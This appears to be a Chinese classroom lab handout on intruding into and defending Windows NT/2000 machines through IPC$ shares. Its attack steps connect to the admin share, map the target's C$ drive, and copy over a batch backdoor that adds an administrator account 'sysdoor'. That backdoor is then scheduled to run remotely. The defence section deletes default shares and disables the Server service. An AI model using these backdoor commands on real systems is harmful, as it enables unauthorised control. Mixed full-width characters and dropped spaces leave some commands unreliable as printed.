IPC$入侵防御实验

IPＣ$入侵和防范实验ﻫ一、试验目的：

学习使用ｗinｄoｗs系统自带IPＣ$有关的的网络管理和控制命令，巩固对所学知识的理解。

二、试验内容：

通过使用windows系统自带的IＰＣ$有关的网络管理和控制命令,观看其结果并进行分析,加深对这些工具的理解和灵活运用。

三、试验环境:

（1）安装WINＤＯWS NＴ或WＩNDOＷＳ 2００0以上版本的操作系统。

(2）已开放IPC＄共享。

（3)已知远程主机ＩＰ地址。

（４)已知远程主机的管理员帐号和密码(IPC$空连接除外）

其中远程主机所需条件:

1、安装WINDOWＳＮT 或WＩNDOWS ２0０0以上版本的操作系统。

２、已开放IPＣ＄共享。

3、已启动SERVER服务。

四、试验步骤：

①启动命令行控制台(虚拟机和本地机)

单击“开始”→“运行”,在“运行”对话框中键入:“CMD “命令启动命令行控制台。

②查看ＩPC＄共享是否开放:

Cmd——Net share

③在虚拟机上建立用户，并把用户加入aｄminiｓtators组中

Net user 用户名密码 /add

Net ｌｏcalｇｒoup adｍinistrａtors 用户名/ａdd

Net localgroｕp ａdminｓｔｒators

④建立IPC$连接

在命令行提示符下键入如下命令：

Ｎeｔ use ＼\IP地址＼ipｃ$“密码”／ｕｓeｒ:用户名

如：Ｎｅｔｕsｅ＼\IP地址\ｉpc$“１2345”/usｅr：ａdｍｉniｓｔｒatｏｒ

⑤映射网络驱动器

成功建立了IPC$连接后,在命令行提示符下键入命令：

Net use 本地盘符 \＼IP地址\共享名

如:Neｔusｅ z: \\１９2.１68.1.3\c$

该命令的执行结果是将目标主机的C盘映射为本地机的z盘。

映射成功后，就可以对目标主机进行操作和控制了。

⑥COPY文件

命令格式：Ｃopy 本地文件的路径＼文件名＼\远程主机

IP\远程主机文件路径。

如:Copｙｃ:/ｂake.bat ＼\192.16８.１.3\c$

⑦断开IＰC$连接

在命令行提示符下键入命令：

Net use \\IP地址\IPC$／ｄｅl

思考:如果不知道远程主机的用户名和密码,可以连接上远程主机吗?可以实现以上哪些操作?

④留后门

（1)打开记事本编写批处理程序

建立后门的批处理程序为：

Neｔ user sｙsdoｏｒ 12３45 /adｄ

Ｎｅｔ locａｌgｒoup administratoｒｓｙｓdｏor /add

其中“Net useｒｓysdｏｏr １２345 /add“命令添

加密码为１2345的帐号ｓysdoor。“Nｅt localgｒoup

ａｄministrator syｓdｏor /aｄd”

命令则把sysｄｏor帐号添加到管理员组中去。

后门程序编写好后,需要起个名字,在我们的实验中将它

取名为“bakｅ．bａt”。

(２)批处理程序建立好后,我们通过IPＣ$将它拷贝到目标主机，命令格式为:Ｃｏpy 本地文件的路径\文件名\\远

程主机IP＼远程主机文件路径。

Coｐy c:/baｋe.ｂａt ＼\１92．１６8.１．３\ｃ$

(3）在命令行提示符下键入命令:nｅt timｅ\\ip，查看

系统时间

Ａt ＼\19２.168.1.3 14：10 c:\ｂake．baｔ

⑤断开ＩＰＣ$连接

在命令行提示符下键入命令：

Net use \\１92.1６8．1.3\IPＣ$ /del

这条命令的执行结果是断开与远程主机192．168．1.3的

IPＣ$连接。我们也可以用Ｎet use ＊／deｌ断开所有的连

接。

⑥ IPC$空连接

如果我们要与远程主机192.168．1．3建立ＩＰC$空连接,

则在命令行提示符下键入命令:

Net use \\1９2.168.1.3“” /user:

Ipc＄防御试验二

IPC$的安全解决方案

①删除默认共享

（1)在命令符下键入Net sｈare 命令查看系统当前的

默认共享。

(2）打开记事本,编写批处理程序,如下：

Ｎet ｓharｅ IPC$ ／del

Net share e$ /deｌ

Ｎeｔ sｈarｅ c$ /del

Net ｓharｅｄ$ /del

（3) 保存为dｅlsｈarｅ.bat

（４) 单击Ｃ:\Ｄoｃuｍents ａnd Seｔtｉngs\Adminiｓtratoｒ\「开始」菜单\程序\启动，将deｌshare.bat文件拷贝到它的启动组中。

做完前面的事情后，重新启动计算机,然后用Net sｈare 命令验证一下系统中的默认共享资源是否已经被全部删除,如果没有，还有哪些？尝试在本地机中用

Net uｓe \\IＰ地址\ｉpc$ “密码”／uｓeｒ:用户名

的命令是否还能建立ＩPC$连接?

②关闭ＳＥＲVER服务

单击“控制面板”→“管理工具”→“服务”打开服务管理器，在服务列表中找到“Sｅrｖer”服务,用右键单击该服务,在弹出的菜单中选择”属性“，然后选择”禁止“选项就完成了关闭操作。重启计算机后修改生效。

再次验证:尝试在本地机中用

Neｔ use \\IP地址\ipc$ “密码”／user:用户名

的命令是否还能建立IPC＄连接？如果不能,将返回什么错误信息。

③给系统设置一个安全的密码

IPC$入侵一般都是通过扫描弱口令开始的，一旦入侵者扫描不到任何口令,IPC＄入侵就无从谈起。